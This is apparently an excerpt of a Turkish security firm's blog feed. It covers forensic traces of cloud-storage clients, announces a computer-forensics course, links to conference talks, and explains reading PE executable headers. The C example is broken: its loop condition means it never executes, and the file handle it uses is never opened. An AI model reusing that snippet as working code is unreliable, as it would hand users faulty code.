<p>Dropbox’ın config.db dosyasının olduğu klasörde uzantısı db ile biten başka veritabanı dosyaları da mevcuttur. Bu dosyalardan filecache.db dosyası da SQLite formatında bir veritabanıdır ve içerisinde 7 adet tablo bulundurur. Bu tablolardan file_journal tablosu bu kullanıcının Dropbox hesabında yer alan dosyalar hakkında bilgiler barındırır. Aşağıda file_journal tablosundaki alanların listesi gösterilmiştir. </p>
<p style="text-align: center;"><img title="Şekil - 6" src="http://adeosecurity.com/images/online-storage-forensics/6.png" alt="" width="447" height="281" align="center" /></p>
<p>Bu alanlardan local_filename alanında kullanıcının Dropbox hesabına kendi bilgisayarından yolladığı dokümanların isimleri yer almaktadır.Local_size alanında yer alan değer, ilgili dosyanın byte olarak boyutunun ne kadar olduğunu gösteriyor.local_mtime ilgili dosyanın güncelleme zamanını, local_ctime ise ilgili dosyanın oluşturulma zamanını yerel saat baz alınarak gösterir. Epoc formatında tutulan bu değerleri normal zaman formatına dönüştürmek için kendi yazacağınız ufak kod parçalarını kullanabileceğiniz gibi, internet üzerinde bu işi sizin adınıza yapacak, http://www.esqsoft.com/javascript_examples/date-to-epoch.htm adresinde bir örneğini bulabileceğiniz yararlı sayfalardan da faydalanabilirsiniz. Aşağıda benim kendi Dropbox hesabıma ilişkin filecache.db dosyasında yer alan file_journal tablosunun içeriği yer almaktadır.</p>
<p style="text-align: center;"><img title="Şekil - 7" src="http://adeosecurity.com/images/online-storage-forensics/7.png" alt="" width="668" height="364" align="center" /></p>
<p><strong>Not:</strong> İncelemeler Dropbox 1.1.31 versiyonu ile gerçekleştirilmiştir.</p>
<h2>Gmail Drive</h2>
<p>İkinci olarak inceleyeceğimiz servis GMail Drive.  Gmail Drive Storage olarak da bilinen bu servis aslında kullanıcıların kendi gmail hesaplarını dosya saklamak için kullanmaktan öte birşey değil. Gmail kullanıcılarının http://www.viksoe.dk/code/gmail.htm adresinden indirebilecekleri bir eklentiyi işletim sistemlerine yükleyerek kullanıma başlayabilecekleri bu servis  Google tarafından desteklenmiyor. Bu eklentinin yüklendiği bir bilgisayarda aşağıdaki ekran görüntüsünde gösterildiği şekliyle bir sürücü oluşturulmaktadır.</p>
<p style="text-align: center;"><img title="Şekil - 8" src="http://adeosecurity.com/images/online-storage-forensics/8.png" alt="" width="463" height="127" align="center" /></p>
<p>Bu sürücüyü kullanabilmek için ilgili Gmail hesabı ile uygulama üzerinden bir oturum açılmalıdır. Oturum açma ekranı aşağıdaki şekilde gösterilmiştir.</p>
<p style="text-align: center;"><img title="Şekil - 9" src="http://adeosecurity.com/images/online-storage-forensics/9.png" alt="" width="380" height="252" align="center" /></p>
<p>Oturum açtıktan sonra kullanıcı istediği dosya sağ tıklayıp Send to->GMail Drive yolunu izleyerek ilgili dosya yada klasörü Gmail hesabına gönderebilir.  Kullanıcının Gmail hesabında bu dosyalar aşağıdaki şekilde gösterildiği gibi görünecektir.</p>
<p style="text-align: center;"><img title="Şekil - 10" src="http://adeosecurity.com/images/online-storage-forensics/10.png" alt="" width="606" height="243" align="center" /></p>
<p>Kullanıcı tarafından yapılan bütün bu işlemler sonucunda iz olarak elde edebileceklerimiz ise şunlardır. Gmail eklentisi kurulduğunda ilgili kullanıcının bilgisayarında aşağıdaki registry  değerleri oluşturulur.Bu değerlerden &#8220;Last User&#8221; değeri kullanıcının en son hangi Gmail hesabını kullandığını gösterir. Bunun yanında eğer &#8220;Auto Login&#8221; seçeneği aktifse incelenen sistem üzerinde bu kullanıcının GMail Drive’ına erişim gerçekleştirilirken bir oturum açma durumu söz konusu olmaz  ve inceleme yapılan bilgisayardan sorunsuz şekilde bu kullanıcının Gmail hesabında sakladığı dosyalara erişim gerçekleştirilebilir.</p>
<pre>HKU\UserSID\Software\Viksoe.dk\GmailFS\Last User: "halilozturkci"
HKU\UserSID\Software\Viksoe.dk\GmailFS\Auto Login: 0x00000000
HKU\UserSID\Software\Viksoe.dk\GmailFS\Preserve Filenames: 0x00000001
HKU\UserSID\Software\Viksoe.dk\GmailFS\Use Draft: 0x00000000
HKU\UserSID\Software\Viksoe.dk\GmailFS\Secure HTTP: 0x00000001
HKU\UserSID\Software\Viksoe.dk\GmailFS\Compat Warned: 0x00000001
HKU\UserSID\Software\Viksoe.dk\GmailFS\Use Proxy: 0x00000000</pre>
<p>Analiz çalışmamızı derinleştirip daha fazla iz tespit etme yönünde yaptığımız çalışmalarda incelenen bilgisayardaki aktif ağ bağlantıları listelediğimizde explorer.exe prosesi tarafından Gmail’in sunucularına bir bağlantı gerçekleştirildiği görüyoruz.  Browserlara ilişkin geçmiş dosyaları üzerinde yaptığımız analiz çalışmalarında da elle tutulur bir veriye rastlayamıyoruz.</p>
<p style="text-align: center;"><img title="Şekil - 11" src="http://adeosecurity.com/images/online-storage-forensics/11.png" alt="" width="602" height="259" align="center" /></p>
<p>Network üzerinden gerçekleştirilen iletişim ise aşağıdaki şekilde gösterildiği üzere tamamen kriptolu şekilde gerçekleştirildiğinden dolayı network forensics yapılarak da GMail Drive’ın kullanılıp kullanılmadığının öğrenilmesi imkansız.</p>
<p style="text-align: center;"><img title="Şekil - 12" src="http://adeosecurity.com/images/online-storage-forensics/12.png" alt="" width="608" height="175" align="center" /></p>
<p>Sonuç olarak incelenen bilgisayarda GMail Drive’ın kullanılıp kullanılmadığı ve GMail Drive içinde hangi dosya veya klasörlerin yer aldığı gibi bilgileri ancak kullanıcı oturumu açıksa ve GMail Drive üzerinden Gmail’e oturum açmışsa elde etmemiz mümkün. Bunun haricinde elde edebileceğimiz bilgi çok sınırlı.</p>
<h2>Windows Live SkyDrive-SDExplorer</h2>
<p>Windows Live SkyDrive, Microsoft&#8217;un sunduğu bir çevrimiçi dosya depolama ve paylaşma hizmetidir. Kullanıcılar, Windows Live hesapları ile bağlanabildikleri SkyDrive hesaplarına tarayıcılarını kullanarak dosya gönderip, internet erişimi olan her yerden bağlanabilmektedirler. Tek seferde gönderilebilecek dosya boyutunun 50 MB ile sınırlı olduğu bu serviste kullanıcı başına  25 GB gibi bir alan tahsis ediliyor.</p>
<p>SDExplorer (http://www.cloudstorageexplorer.com/) gibi bir araç yardımıyla kullanıcıların kendi SkyDrive’larına Windows Explorer arayüzü üzerinden erişmeleri ve yerel bir diskte çalışıyormuşcasına işlem yapmaları mümkün. Aşağıdaki ekran görüntüsü SDExplorer’un Base versiyonunun yüklü olduğu bir bilgisayardan alınmıştır.</p>
<p style="text-align: center;"><img title="Şekil - 13" src="http://adeosecurity.com/images/online-storage-forensics/13.png" alt="" width="500" height="349" align="center" /></p>
<p>Kullanıcının öncelikli olarak SDExplorer üzerinden aşağıdaki şekilde gösterilen oturum açma ekranını kullanarak Windows Live ID’si ile oturum açması gerekmektedir.</p>
<p style="text-align: center;"><img title="Şekil - 14" src="http://adeosecurity.com/images/online-storage-forensics/14.png" alt="" width="293" height="319" align="center" /></p>
<p>Bu uygulamaya ilişkin registry’deki değerleri incelediğimizde karşımıza aşağıdaki şekilde gösterilen değerler çıkmaktadır. </p>
<p style="text-align: center;"><img title="Şekil - 15" src="http://adeosecurity.com/images/online-storage-forensics/15.png" alt="" width="499" height="344" align="center" /></p>
<p>Yapılan incelemede bu uygulamanın Windows Live ID’sini bu registry anahtalarının altında saklamadığı yada en azında clear-text formatta saklamadığı tespit edilmiştir. Bu uygulamanın ağ üzerinden iletişimini nasıl gerçekleştirdiğine baktığımızda ise karşımıza aşağıdaki şekilde gösterilen sonuçlar çıkmıştır. dllhost.exe servis host uygulamasının bütün iletişimini HTTPS üzerinden gerçekleştirdiğini  görüyoruz.</p>
<p style="text-align: center;"><img title="Şekil - 16" src="http://adeosecurity.com/images/online-storage-forensics/16.png" alt="" width="604" height="270" align="center" /></p>
<p>Sonuç olarak, bu üç farklı yöntem kullanılarak uzak lokasyonlarda veri saklama işlemi gerçekleştirildiği takdirde bu işlemlerin izini sürmek, hangi dosyaların bu uzak lokasyonlarda saklandığını tespit etmek ve gerektiğinde bu dosyalara ulaşmak adli bilişm uzmanları açısında biraz zorlu bir süreç olarak karşımıza çıkıyor. Bunun yanında bu tür olayları aydınlatmak için sadece yukarıda anlattığımız yöntemlerin kullanılmadığını da belirtmek lazım. Kullanılacak başka adli bilişm yöntemleri ile şüpheli bilgisayarlarındaki delilleri farklı formatlar elde etmemiz mümkündür.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/digital-forensics/online-storage-servislerinin-adli-bilisim-acisindan-incelenmesi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adli Bilişim Uzmanlığı (Computer Forensics) Eğitimi</title>
		<link>http://www.adeosecurity.com/education/adli-bilisim-uzmanligi-computer-forensics-egitimi/</link>
		<comments>http://www.adeosecurity.com/education/adli-bilisim-uzmanligi-computer-forensics-egitimi/#comments</comments>
		<pubDate>Wed, 08 Jun 2011 12:37:18 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Digital Forensics]]></category>
		<category><![CDATA[Duyuru]]></category>
		<category><![CDATA[Eğitim]]></category>
		<category><![CDATA[adeo]]></category>
		<category><![CDATA[adeo security labs]]></category>
		<category><![CDATA[eğitim]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[forensics egitimi]]></category>
		<category><![CDATA[halil ozturkci]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=378</guid>
		<description><![CDATA[ADEO Security Labs Forensics sınıfı açıldı! ADEO Security Labs yöneticisi Halil ÖZTÜRKCİ 20-24 Haziran 2011 tarihleri arasında Adli Bilişim Uzmanlığı (Computer Forensics) eğitimi verecektir. Eğitimle ilgili detaylı bilgiler yazının devamında yer almaktadır. &#160; &#160; Eğitimin Adı: Adli Bilişim Uzmanlığı (Computer Forensics) Eğitim Tarihleri: 20-24 Haziran 2011 Eğitimin Süresi: 5 Gün Eğitimi Kimler Almalı: Bilgi Güvenliği [...]]]></description>
			<content:encoded><![CDATA[<p><img title="Forensics" src="http://adeosecurity.com/images/forensics.jpg" alt="" width="300" height="121" align="left" /> ADEO Security Labs Forensics sınıfı açıldı!</p>
<p>ADEO Security Labs yöneticisi Halil ÖZTÜRKCİ 20-24 Haziran 2011 tarihleri arasında Adli Bilişim Uzmanlığı (Computer Forensics) eğitimi verecektir. Eğitimle ilgili detaylı bilgiler yazının devamında yer almaktadır.</p>
<p>&nbsp;</p>
<p><span id="more-378"></span></p>
<p>&nbsp;</p>
<p><strong>Eğitimin Adı</strong>: Adli Bilişim Uzmanlığı (Computer Forensics)</p>
<p><strong>Eğitim Tarihleri: </strong>20-24 Haziran 2011</p>
<p><strong>Eğitimin Süresi</strong>: 5 Gün</p>
<p><strong>Eğitimi Kimler Almalı</strong>:</p>
<ul>
<li>Bilgi Güvenliği Uzmanları</li>
<li>Kurum İçi Adli Bilişim İncelemesi Gerçekleştiren IT Uzmanları</li>
<li>IT Denetçileri</li>
<li>Bilişim Suçları İle İlgilenen Kolluk Kuvveti Çalışanları</li>
<li>Adli Bilişim Konusunda Uzmanlaşmak İsteyen IT Çalışanları</li>
</ul>
<p><strong>Eğitim Sonunda Kazanılacaklar</strong>:<br />
Bu eğitim sonunda katılımcılar, adli bilişim sürecinin bütün adımlarını detaylı bir şekilde öğreneceklerdir. Farklı senaryolar üzerinden gerçekleştirilecek inceleme çalışmaları sonucunda katılımcıların kendi incelemelerini gerçekleştirmeleri adına ihtiyaç duyacakları bilgiler aktarılacaktır. Bunun yanında, Türkiye özelinde bilişim hukukuna değinilecek, ve delil toplama süreci hukuki olarak ele alınacaktır. Eğitim sonunda edinilen bilgiler ile katılımcılar SANS GCFA veya CHFI sertifika sınavlarına girebilecek düzeyde bilgi sahibi olacaklardır.</p>
<p><strong>Eğitmen</strong>: Halil ÖZTÜRKCİ (<a href="http://www.halilozturkci.com">www.halilozturkci.com</a>)</p>
<p><strong>Eğitim Katılım Şartları ve Ücret</strong>: Lütfen <a href="mailto:ebru.ugrasan@adeo.com.tr">ebru.ugrasan@adeo.com.tr</a> adresine mail atınız veya <strong>0530 938 99 61</strong> numaralı telefondan Ebru Uğraşan ile görüşünüz.</p>
<p><strong>Eğitim Lokasyonu</strong>: <a href="http://www.adeo.com.tr/Kurumsal/iletisim/iletisim.html">http://www.adeo.com.tr/Kurumsal/iletisim/iletisim.html</a></p>
<p><strong>Eğitim İçeriği</strong>:</p>
<ul>
<li><strong>Birinci Gün</strong>
<ul>
<li>Adli Bilişim Temelleri</li>
<li>Olay Müdahalesi ve Delillere El Koyma</li>
<li>İnceleme ve Analiz</li>
<li>Dijital Delil ve Delilin Bütünlüğü</li>
<li>Disk İmajları</li>
<li>Adli Bilişimin Temel Prensipleri</li>
<li>Adli Bilişim İnceleme Metodolojisine Temel Bakış (Sistem Tanımlama, Delil Toplama, Timeline Çıkarma, Medya Analizi, String/Keyword Arama, Veri Kurtarma, Raporlama)</li>
<li>Dosya Sistemi Temelleri</li>
<li>Dosya Sisteminin 5 Katmanı</li>
<li>File System Katmanı</li>
<li>Partition Temelleri</li>
<li>Master Boot Record</li>
<li>Veri Katmanı Temelleri</li>
<li>Sektör, Cluster, Blok, Superblok Tanımları</li>
<li>Slack Space, Allocated, Unallocated Disk Alanı Tanımları</li>
<li>Metadata Katmanı</li>
<li>Metadata Katmanı Tanımları (inode, FAT Directory Entry, Master File Table Entry)</li>
<li>Dosya İsmi Katmanı</li>
<li>Linux EXT2/3 Temelleri</li>
<li>EXT2/3&#8242;de Superblok ve Blok Tanımı</li>
<li>Blok Grupları</li>
<li>EXT2/3&#8242;de Dosya Erişim İzinleri</li>
<li>EXT2/3&#8242;de Zaman Damgası</li>
<li>EXT2/3&#8242;de Inode&#8217;lar (Direkt ve Endirekt pointer&#8217;lar)</li>
<li>Klasörler</li>
<li>Windows Dosya Sistemi Temelleri</li>
<li>FAT Dosya Sistemi (FAT 12, FAT 16 ve FAT 32)</li>
<li>FAT Dosya Sistemlerinde Boot Sektör</li>
<li>FAT Sistemlerde Kök Klasör</li>
<li>FAT Dosya Sistemlerinde Zaman Damgası</li>
<li>FAT Klasör Kayıtları</li>
<li>FAT Dosya Sisteminde Cluster Kullanımı ve Cluster Zincirleri</li>
<li>NTFS-New Technologies File Temelleri</li>
<li>NTFS Limitleri</li>
<li>NTFS Partition Boot Sector</li>
<li>NTFS Dosya Sisteminde Clusterlar</li>
<li>NTFS Dosya Sisteminde Metadata Katmanı</li>
<li>NTFS Dosya Sisteminde Zaman Damgası</li>
</ul>
</li>
<li><strong>İkinci Gün</strong>
<ul>
<li>Canlı Sistemlerde Olay Müdahalesi ve Delil Toplama</li>
<li>windows ve Linux Ortamlarında Delil Toplama Araçlarına Genel Bakış</li>
<li>Helix 3 Pro ile Canlı Analiz ve Delil Toplama</li>
<li>Memory İmajı Alma ve Memory Analizine Giriş</li>
<li>Windows Memory Analiz Araçları ve volatility</li>
<li>Linux Sistemlerde Memory İmajı Alma (memdump ve Helix3 Pro İle)</li>
<li>Unix Sistemlerde Canlı Müdahale</li>
<li>Uçucu Verilerin Toplanması</li>
<li>Windows Sistemlerde Canlı Müdahale</li>
<li>Windows Forensic Toolchest ile Uçucu Delillerin Toplanması</li>
<li>Delil Bütünlüğü</li>
<li>Hash Fonksiyonları</li>
<li>Windows ve Unix Sistemlerde İmaj Alma Temelleri</li>
<li>Disk İmaj Formatları</li>
<li>Yazma Korumaları</li>
<li>İmaj Alma Yöntemleri (Donanımsal/Yazılımsal İmaj Alma Yöntemleri)</li>
<li>dd İle Sabit Disk İmajı Alma</li>
<li>Chain of Custody</li>
<li>Fiziksel Disk İmajı İçinden Mantıksal Sürücülerin Çıkartılması (mmls Kullanımı)</li>
</ul>
</li>
<li><strong>Üçüncü Gün</strong>
<ul>
<li>Dosya Sistemi Analizi</li>
<li>Timeline Analizi</li>
<li>Timeline Analizi İpuçları</li>
<li>Timeline Oluşturma Adımları (fls ve mactime ile Timeline Oluşturma)</li>
<li>String/Byte Arama ve Veri Kurtarma</li>
<li>Dosya Tanımlama Yöntemleri ve Araçları (File Header/Footers, file, srch_strings,  grep)</li>
<li>Dirty Words List Kavramı</li>
<li>Sleuthkit&#8217;e Genel Bakış</li>
<li>fsstat İle Dosya Sistemi Katmanında Çalışma</li>
<li>blkstat, blkcat, blkls, blkcalc ve sigfind ile Veri Katmanında Çalışma</li>
<li>foremost ile File Carving</li>
<li>Metadata Katmanı Araçları (ifind, istat ve icat İle Metadata Katmanında Çalışma)</li>
<li>Dosya Adı Katmanı Araçları (fls ve ffind ile Dosya Adı Katmanında Çalışma)</li>
<li>sorter İle Dosyaları Kategorilere Göre Sıralama</li>
<li>Bilinen Dosyalar Yaklaşımı ve Hash Veritabanları ( md5sum, National Software Reference Library (NSRL), Hashkeeper)</li>
<li>md5deep ve hfind ile Hash Karşılaştırma Adımları</li>
<li>Fuzzy Hashing ve ssdeep Kullanımı</li>
</ul>
</li>
<li><strong>Dördüncü Gün</strong>
<ul>
<li>Windows Medya Analiz Temelleri</li>
<li>Windows Sistemlerde Detaylı Registry Analizi</li>
<li>Vista/Windows 7&#8242;de Registry Analizi</li>
<li>RegRipper ile Registry Analizi</li>
<li>Internet Explorer Analizi</li>
<li>E-mail Forensics</li>
<li>Windows Sistemler Zararlı Kod Analizi</li>
<li>Restore Point ve Shadow Forensics</li>
<li>Vista/Windows 7 ve Windows Server 2008&#8242;de Volume Shadow Copy Imaj Alma ve Analizi</li>
</ul>
</li>
<li><strong>Beşinci Gün</strong>
<ul>
<li>Türkiye Özelinde Hukuki Açıdan Adli Bilişim</li>
<li>Delilin Taşıması Gereken Nitelikler</li>
<li>Delil Gizleme Yöntemleri (Şifre koyma, Şifreleme, Steganography vb.) ve Gizlenmiş Delilleri Ortaya Çıkarma Yöntemleri</li>
<li>Delil Karartma Yöntemleri</li>
<li>Adli Bilişim Raporunun Taşıması Gereken Özellikler ve Rapor Hazırlanması</li>
</ul>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/education/adli-bilisim-uzmanligi-computer-forensics-egitimi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IstSec 2011 Sunumları</title>
		<link>http://www.adeosecurity.com/genel/istsec-2011-sunumlari/</link>
		<comments>http://www.adeosecurity.com/genel/istsec-2011-sunumlari/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 19:24:06 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[Digital Forensics]]></category>
		<category><![CDATA[Genel]]></category>
		<category><![CDATA[Malware Analiz]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Seminer]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=372</guid>
		<description><![CDATA[3-4 Haziran 2011 tarihlerinde Bilgi Üniversitesi Dolapdere Kampüsünde gerçekleşen İstanbul Güvenlik Konferansı(IstSec)&#8217;de ADEO Security Labs ekibi tarafından gerçekleştirilen sunumlara ilişkin slaytlara aşağıdaki linklerden ulaşabilirsiniz. ADEO Security Labs ekibi olarak IstSec&#8217;deki sunumlarımıza katılıp dinleyen herkese çok teşekkür ederiz. En kısa zamanda yeni konularla yeni konferanslarda görüşmek üzere. &#160; Halil ÖZTÜRKCİ &#8211;  Advanced Windows Registry Forensics  sunumunu [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" title="IstSec" src="http://www.adeosecurity.com/images/istsec.jpg" alt="IstSec" width="316" height="78" />3-4 Haziran 2011 tarihlerinde Bilgi Üniversitesi Dolapdere Kampüsünde gerçekleşen İstanbul Güvenlik Konferansı(IstSec)&#8217;de ADEO Security Labs ekibi tarafından gerçekleştirilen sunumlara ilişkin slaytlara aşağıdaki linklerden ulaşabilirsiniz. ADEO Security Labs ekibi olarak IstSec&#8217;deki sunumlarımıza katılıp dinleyen herkese çok teşekkür ederiz. En kısa zamanda yeni konularla yeni konferanslarda görüşmek üzere.</p>
<p>&nbsp;</p>
<p>Halil ÖZTÜRKCİ &#8211;  Advanced Windows Registry Forensics  sunumunu indirmek için <a title="Advanced Windows Registry Forensics" href="http://www.adeosecurity.com/sunum/WindowsRegistryForensics-Istsec2011.pdf" target="_blank">tıklayın</a>.</p>
<p>Canberk BOLAT ve Yasin SÜRER - New Generation Malwares &amp; Analysis sunumunu indirmek için <a title="New Generation Malwares &amp; Analysis" href="http://www.adeosecurity.com/sunum/NewGenerationMalwares%26Analysis.pdf" target="_blank">tıklayın</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/genel/istsec-2011-sunumlari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FORTINET Güvenlik Zirvesi 2011 Sunumu</title>
		<link>http://www.adeosecurity.com/genel/fortinet-guvenlik-zirvesi-2011-sunumu/</link>
		<comments>http://www.adeosecurity.com/genel/fortinet-guvenlik-zirvesi-2011-sunumu/#comments</comments>
		<pubDate>Wed, 25 May 2011 14:04:03 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Microsoft Security]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Seminer]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Wireless Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=366</guid>
		<description><![CDATA[24 Mayıs 2011 tarihinde İstanbul Mövenpick otelde düzenlenen Fortinet Güvenlik Zirvesi 2011&#8242;de ADEO Bilişim Danışmanlık Hizmetleri adına Bilişim Güvenliği Direktorümüz Halil ÖZTÜRKCİ tarafından gerçekleştirilen sunuma ait dosyayı buradan indirebilirsiniz. &#160;]]></description>
			<content:encoded><![CDATA[<p><img title="Fortinet" src="http://www.adeosecurity.com/images/fortinet_logo.gif" alt="" width="200" height="25" />24 Mayıs 2011 tarihinde İstanbul Mövenpick otelde düzenlenen Fortinet Güvenlik Zirvesi 2011&#8242;de ADEO Bilişim Danışmanlık Hizmetleri adına Bilişim Güvenliği Direktorümüz Halil ÖZTÜRKCİ tarafından gerçekleştirilen sunuma ait dosyayı <a href="http://www.adeosecurity.com/sunum/Client_side_Exploitation.7z">buradan</a> indirebilirsiniz.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/genel/fortinet-guvenlik-zirvesi-2011-sunumu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dump EXE with C &amp; Ruby</title>
		<link>http://www.adeosecurity.com/guvenlik/dump-exe-with-c-ruby/</link>
		<comments>http://www.adeosecurity.com/guvenlik/dump-exe-with-c-ruby/#comments</comments>
		<pubDate>Mon, 09 May 2011 14:42:15 +0000</pubDate>
		<dc:creator>Yasin SÜRER</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=339</guid>
		<description><![CDATA[Okuyacağınız yazı &#8220;Portable Executable&#8221; yani Windows çalıştırılabilir dosya formatının EXE başlık bilgilerinin Ruby ve C programlama dilleri ile okunmasını açıklamaktadır.Packer ve Malware Analiz üzerine çalışırken PEiD benzeri bir araç yazmak için uğraşırken konuyu bilmeyenler için açıklamak istedim. Bir PE formatlı EXE dosya içerisinde çeşitli bilgiler barındırmaktadır. Örneğin, Kodun çalışmaya başlayacağı giriş noktası yani EntryPoint , [...]]]></description>
			<content:encoded><![CDATA[<p>Okuyacağınız yazı &#8220;Portable Executable&#8221; yani Windows çalıştırılabilir dosya formatının EXE başlık bilgilerinin Ruby ve C programlama dilleri ile okunmasını açıklamaktadır.Packer ve Malware Analiz üzerine çalışırken PEiD benzeri bir araç yazmak için uğraşırken konuyu bilmeyenler için açıklamak istedim.</p>
<p>Bir PE formatlı EXE dosya içerisinde çeşitli bilgiler barındırmaktadır. Örneğin, Kodun çalışmaya başlayacağı giriş noktası yani <strong>EntryPoint </strong>, çalıştırılabilir dosyanın tipini belirleyen hexadecimal değerler, segment bilgileri gibi bir çok bilgi barındırabilir.Bir EXE dosyasının türünü belirleyen 4 byte&#8217;lık  hexadecimal  <strong>45 50</strong> degeri PE dosya formatına denk gelmektedir. Fakat bir çok tip bulunmaktadır. Bunlardan bazıları ise MZ, NE, LE ve bizi ilgilendiren PE olarak sıralanabilir.<br />
<span id="more-339"></span></p>
<p style="text-align: center;">
<img class="aligncenter" src="http://www.strchr.com/media/sfx.png" alt="" width="345" height="520" align="center" /></p>
<p>MZ bilgisini taşıyan EXE dosyalar eski DOS çalıştırılabilir dosyalarına ait bir bilgidir. PE dosya formatı içerisinde her bilginin saklandığı bir offset değeri mevcuttur ve eğer bir exe dosya içerisinden bilgi okumamız gerekiyorsa bu offset değerlerinde ki bilgileri okumamız gerekmektedir.</p>
<p>Çalıştırılabilir dosyalar iki başlıktan oluşmaktadır ve bunlar DOS ve Windows başlıklarıdır. Windows başlıkları loader&#8217;ın<br />
ihtiyaç duyduğu bir çok bilgiyi barındırmaktadır. Bunlar Linker versiyonu, data segment bilgileri, resource segment bilgileri gibi çeşitli bilgilerdir. Aşağıda blok bilgileri ve lokasyonları listelenmektedir. Bu bilgileri EXE spesifikasyonlarında bulmanız mümkündür.</p>
<pre>............

00h Specifies the signature word. The low byte contains
"N" (4Eh) and the high byte contains "E" (45h).
02h Specifies the linker version number.
03h Specifies the linker revision number.
04h Specifies the offset to the entry table (relative to
the beginning of the header).
06h Specifies the length of the entry table, in bytes.
08h Reserved.
0Ch Specifies flags that describe the contents of the
executable file. This value can be one or more of the
following bits:

Bit Meaning
0 The linker sets this bit if the executable-file
format is SINGLEDATA. An executable file with
this format contains one data segment. This bit
is set if the file is a dynamic-link library
(DLL).
1 The linker sets this bit if the executable-file
format is MULTIPLEDATA. An executable file with
this format contains multiple data segments. This
bit is set if the file is a Windows application.
If neither bit 0 nor bit 1 is set, the
executable-file format is NOAUTODATA. An
executable file with this format does not contain
an automatic data segment.
2 Reserved.
3 Reserved.
8 Reserved.
9 Reserved.
11 If this bit is set, the first segment in the
executable file contains code that loads the
application.
13 If this bit is set, the linker detects errors at
link time but still creates an executable file.
14 Reserved.
15 If this bit is set, the executable file is a
library module.
If bit 15 is set, the CS:IP registers point to an
initialization procedure called with the value in
the AX register equal to the module handle. The
initialization procedure must execute a far
return to the caller. If the procedure is
successful, the value in AX is nonzero.
Otherwise, the value in AX is zero.
The value in the DS register is set to the
library's data segment if SINGLEDATA is set.
Otherwise, DS is set to the data segment of the
application that loads the library.
0Eh Specifies the automatic data segment number. (0Eh is
zero if the SINGLEDATA and MULTIPLEDATA bits are
cleared.)
10h Specifies the initial size, in bytes, of the local
heap. This value is zero if there is no local
allocation.
12h Specifies the initial size, in bytes, of the stack.
This value is zero if the SS register value does not
equal the DS register value.
14h Specifies the segment:offset value of CS:IP.
18h Specifies the segment:offset value of SS:SP.
The value specified in SS is an index to the module's
segment table. The first entry in the segment table
corresponds to segment number 1.
If SS addresses the automatic data segment and SP is
zero, SP is set to the address obtained by adding the
size of the automatic data segment to the size of the
stack.
1Ch Specifies the number of entries in the segment table.
1Eh Specifies the number of entries in the
module-reference table.
20h Specifies the number of bytes in the nonresident-name
table.
22h Specifies a relative offset from the beginning of the
Windows header to the beginning of the segment table.
24h Specifies a relative offset from the beginning of the
Windows header to the beginning of the resource
table.
26h Specifies a relative offset from the beginning of the
Windows header to the beginning of the resident-name
table.
28h Specifies a relative offset from the beginning of the
Windows header to the beginning of the
module-reference table.
2Ah Specifies a relative offset from the beginning of the
Windows header to the beginning of the imported-name
table.
2Ch Specifies a relative offset from the beginning of the
file to the beginning of the nonresident-name table.
30h Specifies the number of movable entry points.
32h Specifies a shift count that is used to align the
logical sector. This count is log2 of the segment
sector size. It is typically 4, although the default
count is 9. (This value corresponds to the /alignment
[/a] linker switch. When the linker command line
contains /a:16, the shift count is 4. When the linker
command line contains /a:512, the shift count is 9.)
34h Specifies the number of resource segments.
36h Specifies the target operating system
……</pre>
<p>Offset değerlerinin nasıl okunacağına dair iki kod aşağıda verilmiştir. fseek() fonksiyon 60 decimal yani 3ch offset degerine ayarlanıyor.fread() ile byte değerler okunuyor ve section değerine set ediliyor.</p>
<p><code>peFormath(char *fPath)<br />
{<br />
int section;<br />
fseek(di, 60, SEEK_SET);<br />
fread(&amp;section, 1, sizeof(section), di);<br />
fseek(di, section, SEEK_SET);<br />
int i;<br />
for(i=0;i&gt;=1;i++){ printf("%x\n", getc(di)); }<br />
}</code></p>
<p>Aşağıda ki kod ben C ile uğraşırken yan masada oturan sevgili Canberk tarafından yazılmıştır. Ruby ile yazılmış bu kod yine yazılmış kodun ana fonksiyonunun yani giriş noktasının adresini (Entry Point) vermektedir. İlgili koda <a href="http://adeosecurity.com/tools/PE-Browser.rb">buradan</a> ulaşabilirsiniz.</p>
<p>Eski bir konu olmasına rağmen konu hakkında fikri olmayanların kafalarındaki soru işaretlerinin giderilebilmesi adına örneklendirmelerin faydalı olabileceğini düşünüyorum.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/guvenlik/dump-exe-with-c-ruby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bin Ladin&#8217;in Ölümü</title>
		<link>http://www.adeosecurity.com/social-engineering/bin-ladinin-olumu/</link>
		<comments>http://www.adeosecurity.com/social-engineering/bin-ladinin-olumu/#comments</comments>
		<pubDate>Wed, 04 May 2011 14:48:05 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
